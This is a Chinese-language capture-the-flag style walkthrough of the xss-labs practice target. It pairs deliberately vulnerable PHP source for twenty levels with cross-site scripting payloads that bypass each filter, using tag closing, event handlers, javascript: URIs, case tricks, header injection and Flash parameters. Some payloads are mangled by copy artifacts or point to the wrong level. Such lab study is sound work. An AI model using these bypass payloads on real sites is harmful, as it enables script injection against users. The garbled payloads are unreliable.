xss-labs-master靶机1-20关解题思路
xss-labs-master靶机是xss-labs作者在github上发布的后来不知道为什么就把它删了,可能是因为这
个靶机属于静态页面有一个通用的推广方式(具体在后面),不过还是希望读者使用实战中的攻击手段学 习,这个靶机是对XSS漏洞的专项练习, 一共有二十关,也是小白的看门砖吧!比如现在的我!大
哭!!!!
在这篇文章中,默认读者已有WEB渗透测试相关知识,以及PHP、 HTML等相关知识。
xss-labs-master通关宝典
• o 第一关 不使用过滤器 第二关 闭合标签
第三关 单引号闭合并添加事件 第四关 双引号闭合并添加事件 第五关 javascript伪协议
第十二关 user-agent信息 第十三关 Cookie信息
第十八关 是作者偷懒了吗?还是我悟不出其中的精髓??????? 第十九关
第一关 不使用过滤器
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level2.php?keyword=test"; }
</script>
<title>欢迎来到level1</title>
</head> <body>
<h1 align=center>欢迎来到level1</h1> <?php
ini_set("display_errors", 0); $str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>
<center><img src=level1.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body> </html>
1234567891011121314151617181920212223242526
b、分析
这关只给一个图片,根据图片可以知道这关容易,而链接上有一个参数name ,说明突破口再name这 里,根据代码我们可以看出,代码是将用户以GET方式提交的参数name ,没有做任何防御措施就直接 显示在HTML页面中,所以将使用 alert('xss') 放入name变量中即可。
c、方法
这里就是直接用脚本的就行,没有方法可言。
d、注入语句
http://靶机网址/xss-labs-master/level1.php?name=<script>alert(/xss/)</script> 1 |
第二关 闭合标签
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level3.php?writing=wait"; }
</script>
<title>欢迎来到level2</title> </head>
<body>
<h1 align=center>欢迎来到level2</h1> <?php
ini_set("display_errors", 0); $str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>'; ?>
<center><img src=level2.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body> </html>
123456789101112131415161718192021222324252627282930
b、分析
这关我们可以发现多了一个文本框,我们先用之前的语句填入文本框里面,发现不行,什么有了防御机 制,那么我们看看源代码,它将我们输入的值给了value,然后它再传给了一个 htmlspecialchars 函 数,这个函数是把预定义的字符转换为 HTML 实体,说明把标签吃掉了,那么我们的突破口就在value这 里,我们可以通过闭合标签,使得这一句就闭合掉,即在 alert('xss') 前面加 "> ,对前面input标签进 行闭合。
htmlspecialchars 函数快查链接: 这里
c、方法
这里就是我们使用闭合的方法,就是闭合了``标签,产生新的执行语句。
d、注入语句
http://192.168.226.128/xss-labs-master/level2.php?keyword="><script>alert(/xss/) </script> 1 |
第三关 单引号闭合并添加事件
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!"; }
</script>
<title>欢迎来到level3</title> </head>
<body>
<h1 align=center>欢迎来到level3</h1> <?php
ini_set("display_errors", 0); $str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 .</h2>"." <center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 />
</form>
</center>"; ?>
<center><img src=level3.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body> </html>
123456789101112131415161718192021222324252627282930
b、分析
这个题就是变了个图片,感觉也没什么的,先用之前的代码测试一下,发现没用,看看源码,发现这里 不但对 " 号做了防御,而这小子居然在value这里也加了 htmlspecialchars 函数,还是逃不过啊!那 就刚憋,虽然对了双引号做了防御,但是却放行单引号,这种情况我们可以通过事件标签触发表单执
行。
c、方法
这种情况我们可以通过事件标签触发表单执行,即通过使用HTML的事件知识对其注入。 一些常用的HTML标签事件: 这里
d、注入语句
http://192.168.226.128/xss-labs-master/level3.php? keyword='οnmοuseοver='alert(/xss/) 1 |
第四关 双引号闭合并添加事件
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!"; }
</script>
<title>欢迎来到level4</title>
</head> <body>
<h1 align=center>欢迎来到level4</h1> <?php
ini_set("display_errors", 0); $str = $_GET["keyword"];
$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>'; ?>
<center><img src=level4.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body> </html>
123456789101112131415161718192021222324252627282930313233
b、分析
这关和之前几个感觉差不多,同样不能用之前套路了,看看源码,发现这里不但对 ‘ 号做了防御,他这 次不对value进行过滤,而是用 str_replace 函数直接过滤掉 <> ,但是不知道是不是有疏忽,对了单 引号做了防御,但是却放行双引号,这种情况我们还是可以通过事件标签触发表单执行。
str_replacestr 函数快查:在此
c、方法
这种情况我们可以通过事件标签触发表单执行,不过需要的双引号改成单引号。
d、注入语句
http://192.168.226.128/xss-labs-master/level3.php? keyword="οnmοuseοver="alert(/xss/) 1 |
第五关 javascript伪协议
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!"; }
</script>
<title>欢迎来到level5</title> </head>
<body>
<h1 align=center>欢迎来到level5</h1> <?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>'; ?>
<center><img src=level5.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body> </html>
1234567891011121314151617181920212223242526272829303132
b、分析
这关和往常一样,使用之前的语句是不行的,根据源代码,我们发现它对<script和on的都做了特殊处 理,而且还使用 strtolower 函数对所有字符串变成小写,单引号也不可用了,但是我们还是可以闭合 语句,通过双引号加>闭合,但是闭合归闭合,却没有用来触发的条件呀!我们这时候可以使用
javascript伪协议以及标签进行注入。 javascript伪协议快查: 在此
c、方法
使用javascript伪协议以及标签进行注入,就是在代码前面加上javascript:,在这里的标签不一定只是链 接标签,还可以其他标签,可以自己了解。
d、注入语句
http://192.168.226.128/xss-labs-master/level5.php?keyword="><a href='javascript:alert(/xss/)'>xss 1 |
第六关 大小写绕过
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!"; }
</script>
<title>欢迎来到level6</title> </head>
<body>
<h1 align=center>欢迎来到level6</h1> <?php
ini_set("display_errors", 0); $str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>'; ?>
<center><img src=level6.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body> </html>
1234567891011121314151617181920212223242526272829303132333435
b、分析
这题我们可以看出虽然对on、src、data、 href、<script进行过滤,但是没有了对大写字母进行修改, 所以我们可以使用单引号闭合,加大小写的脚本或者标签方法注入。
c、方法
可以使用单引号闭合,加大小写的脚本或者标签方法注入。
d、注入语句
http://192.168.226.128/xss-labs-master/level6.php?keyword="><scRipt>alert(/xss/) </scRipt> 1 |
第七关 双重书写
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!"; }
</script>
<title>欢迎来到level7</title> </head>
<body>
<h1 align=center>欢迎来到level7</h1> <?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>'; ?>
<center><img src=level7.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body> </html>
1234567891011121314151617181920212223242526272829303132333435
b、分析
我们可以看到输入比上一题加深了大小写过滤的的难度,但是它却把特殊语义的字符串修改成了空字符 串,我们就可以使用特殊语义重构的方法进行注入。
c、方法
可以使用特殊语义重构的方法进行注入,就是在特殊语义内在加入特殊语义。
d、注入语句
http://192.168.226.128/xss-labs-master/level6.php?keyword="> <scrscriptipt>alert(/xss/)</scrscriptipt> 1 |
第八关 字符实体
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!"; }
</script>
<title>欢迎来到level8</title> </head>
<body>
<h1 align=center>欢迎来到level8</h1> <?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />
</form>
</center>'; ?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>
<center><img src=level8.jpg></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body> </html>
123456789101112131415161718192021222324252627282930313233343536373839
b、分析
这次更狠直接把上一题的疏忽补全,这是我们用之前的方法是肯定不行了,那么我们就需要引入编码绕 过的概念,由于会被htmlspecialchars函数转义,所以可将所有字符编码为HTML实体,从而绕过。
c、方法
使用编码绕过概念,就是将所有字符编码为HTML实体。
d、注入语句
javascript:alert(/xss/) 1 |
第九关 检测关键字存在
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!"; }
</script>
<title>欢迎来到level9</title> </head>
<body>
<h1 align=center>欢迎来到level9</h1> <?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />
</form>
</center>'; ?>
<?php
if(false===strpos($str7,'http://')) {
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; }
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; }
?>
<center><img src=level9.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body> </html>
12345678910111213141516171819202122232425262728293031323334353637383940414243444
546
b、分析
我们发现这里多了一个 strpos 函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这 时候我们就不得不在代码里加入 http:// ,但是并没有过滤HTML实体编码,所以我们还是使用编码绕 过。
strpos 函数速查:在此
c、方法
使用过滤HTML实体编码,但是由于需要加入http://,肯定不能在http://后面加代码,必须在前面,并 且将http://注释掉才能执行。
d、注入语句
javascript:alert(/xss/)//http:// 1 |
第十关 隐藏信息
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 12345678910111213141516171819202122232425262728293031323334 |
b、分析
这一题有点难度,我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个 t_sort参数,是需要我们在后台才能找到的,而这个参数其实并没有加什么特殊防御,只是过滤了尖括 号,所以我们可以使用触发事件标签进行。
c、方法
使用触发事件标签进行,是在URL上加入t_sort值=触发事件,注意用的是双引号扣起来。
d、注入语句
http://192.168.226.128/xss-labs-master/level10.php? keyword=1&t_sort="οnmοuseοver="alert(/xss/) #注意这里由于没有文本框,需要在浏览器后台的<input name="t_sort" value="'.$str33.'" type="hidden">这行的type值改成text 12 |
第十一关 Referer信息
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!"; }
</script>
<title>欢迎来到level11</title>
</head> <body>
<h1 align=center>欢迎来到level11</h1> <?php
ini_set("display_errors", 0); $str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>'; ?>
<center><img src=level11.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body> </html>
123456789101112131415161718192021222324252627282930313233343536
b、分析
我们初看,感觉和上一关差不多,但是看源码发现有一个 $str11=$_SERVER['HTTP_REFERER'];字 段,并且只对其进行双引号过滤,而HTTP_REFERER是获取http请求头中的Referer字段,就是我们上 一级网页的url,那么我们就需要使用到抓包工具进行抓包,修改Referer字段。
修改前
修改后
c、方法
通过使用burpsuite软件对Referer字段进行修改恶意代码。
d、注入语句
Referer: "οnmοuseοver="alert(/xss/) 1 |
第十二关 user-agent信息
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!"; }
</script>
<title>欢迎来到level12</title> </head>
<body>
<h1 align=center>欢迎来到level12</h1> <?php
ini_set("display_errors", 0); $str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>'; ?>
<center><img src=level12.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body> </html>
123456789101112131415161718192021222324252627282930313233343536
b、分析
这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。
c、方法
通过使用burpsuite软件对user-agent字段进行修改恶意代码。
d、注入语句
User-Agent: "οnmοuseοver="alert(/xss/) 1 |
第十三关 Cookie信息
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level14.php"; }
</script>
<title>欢迎来到level13</title>
</head> <body>
<h1 align=center>欢迎来到level13</h1> <?php
setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0);
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 .
</h2>".'<center> <form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>'; ?>
<center><img src=level13.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body> </html>
12345678910111213141516171819202122232425262728293031323334353637
b、分析
这一题和上两题一样的手法,改变的是在http请求头中的Cookie字段上。
c、方法
通过使用burpsuite软件对Cookie字段进行修改恶意代码。
d、注入语句
Cookie: user="οnmοuseοver="alert(/xss/) 1 |
第十四关 exif xss
a、后台代码
<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center> </body> </html> 12345678910 |
b、分析
这啥嘛,空白???? what???等了一会,302,需要跳到一个新的网站,才能打,但是这个网站始
终进不去,所以跳过吧!不过听网上说是exif xss????????????????这是啥 子?????
度娘:链接
搜嘎
第十五关 ng-include属性
a、后台代码
<html ng-app> <head>
<meta charset="utf-8">
<script src="angular.min.js"></script> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level16.php?keyword=test"; }
</script>
<title>欢迎来到level15</title> </head>
<h1 align=center>欢迎来到第15关, 自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p> <?php
ini_set("display_errors", 0); $str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
1234567891011121314151617181920
b、分析
咋一看这关好像没什么漏洞来着,但是如果我们仔细看后台,发现有一个``语句, ng-include指令一般 用于包含外部的 HTML 文件, ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况 下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有
ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面,那么不就破解了吗?
c、方法
利用ng-include指令的特性包含一个有漏洞的html文件,注意这里有对尖括号的过滤。 ng-include是什么?: 链接
d、注入语句
http://192.168.226.128/xss-labs-master/level15.php? src='http://192.168.226.128/xss-labs-master/level1.php?name="><a href="javascript:alert(/xss/)">xss' 1 |
第十六关 空格==回车
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b"; }
</script>
<title>欢迎来到level16</title>
</head> <body>
<h1 align=center>欢迎来到level16</h1> <?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center> <?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body> </html>
1234567891011121314151617181920212223242526272829
b、分析
这一关用的防御方式并不复杂,但是却考虑的比较周全,空格、反斜杠、 script都被str_replace函数替 换成 了,但是在HTML中可以将%0a或者%0D当成空格使用。
c、方法
使用替身大法,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。
d、注入语句
http://192.168.226.128/xss-labs-master/level16.php?keyword= <a%0Ahref='javas%0Acript:alert("xss")'>xss 1 |
第十七关 合二为一
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!"); }
</script>
<title>欢迎来到level17</title> </head>
<body>
<h1 align=center>欢迎来到level17</h1> <?php
ini_set("display_errors", 0); echo "<embed
src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg 02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body>
</html>
1234567891011121314151617181920
b、分析
这一关有两个参数: arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容 易想到这里会不会就是突破口,看看源码,发现这两个参数是在embed上, embed标签定义嵌入的内 容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。
c、方法
利用arg01、arg02参数进行属性添加,产生恶意代码。
注意:这个题有些浏览器不会出现图片 d、注入语句
http://192.168.111.138/xss-labs-master/level17.php?arg01= onm ousemove&arg02=javascript:alert(/xss/) #注意在arg01这里要添加空格,不然就是将属性与之前的xsf01.swf?进行连接了 12 |
第十八关 是作者偷懒了吗?还是我悟不出其中的精 髓???????
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b"; }
</script>
<title>欢迎来到level18</title> </head>
<body>
<h1 align=center>欢迎来到level18</h1> <?php
ini_set("display_errors", 0);
echo "<embed
src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg 02"])." width=100% heigth=100%>";
?>
</body> </html>
1234567891011121314151617181920
b、分析
这题和上一题的题目是基本一样的思路,只是换了不一样的图片。
c、方法
利用arg01、arg02参数进行属性添加,产生恶意代码。
d、注入语句
http://192.168.111.138/xss-labs-master/level18.php?arg01= onm ousemove&arg02=javascript:alert(/xss/) 1 |
第十九关
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level20.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level19</title> </head> <body> <h1 align=center>欢迎来到level19</h1> <?php ini_set("display_errors", 0); echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar g02"]).'" width=100% heigth=100%>'; ?> </body> </html> 1234567891011121314151617181920 |
b、分析
我们使用之前的方法发现,没有起到作用,说明源码已经改变,但是我们发现语句间被单引号垄断并且 只能规范书写,不仅对引号做了实体编码处理,而且将关键字当作普通文本,但是既然是19关(估计这 里要是再现实中,可能就视为无漏洞了吧,个人感觉),说明还是有漏洞,我们回去看看页面的图片,发 现有说兼容性问题,那么就涉及到版本问题,我们可以将xsf03.swf进行反编译,得到version未定义,
加上swf这个文件的特性可以传入参数。
c、方法
利用图片信息以及swf特性进行猜测或者flash反编译得到version参数未定义,从而传入恶意代码。
d、注入语句
http://192.168.111.138/xss-labs-master/level19.php?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a> 1 |
第二十关
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level21.php?arg01=a&arg02=b"; }
</script>
<title>欢迎来到level20</title> </head>
<body>
<h1 align=center>欢迎来到level20</h1> <?php
ini_set("display_errors", 0); echo '<embed
src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar g02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
1234567891011121314151617181920
b、分析
这题和19题一模一样,就是插件不同。
c、方法
和之前几道题差不多。
http://192.168.111.138/xss-labs-master/level19.php? arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a= !alert(1)//&width&height 1 |
万能通关秘籍
福利:有一种通用的通关方式,那就是我们如果在页面后台添加一个事件呢?就是在后台的图片处直接 添加。
标签:xss,20,replace,labs,window,alert,str,echo From: https://www.cnblogs.com/zdytom/p/18539491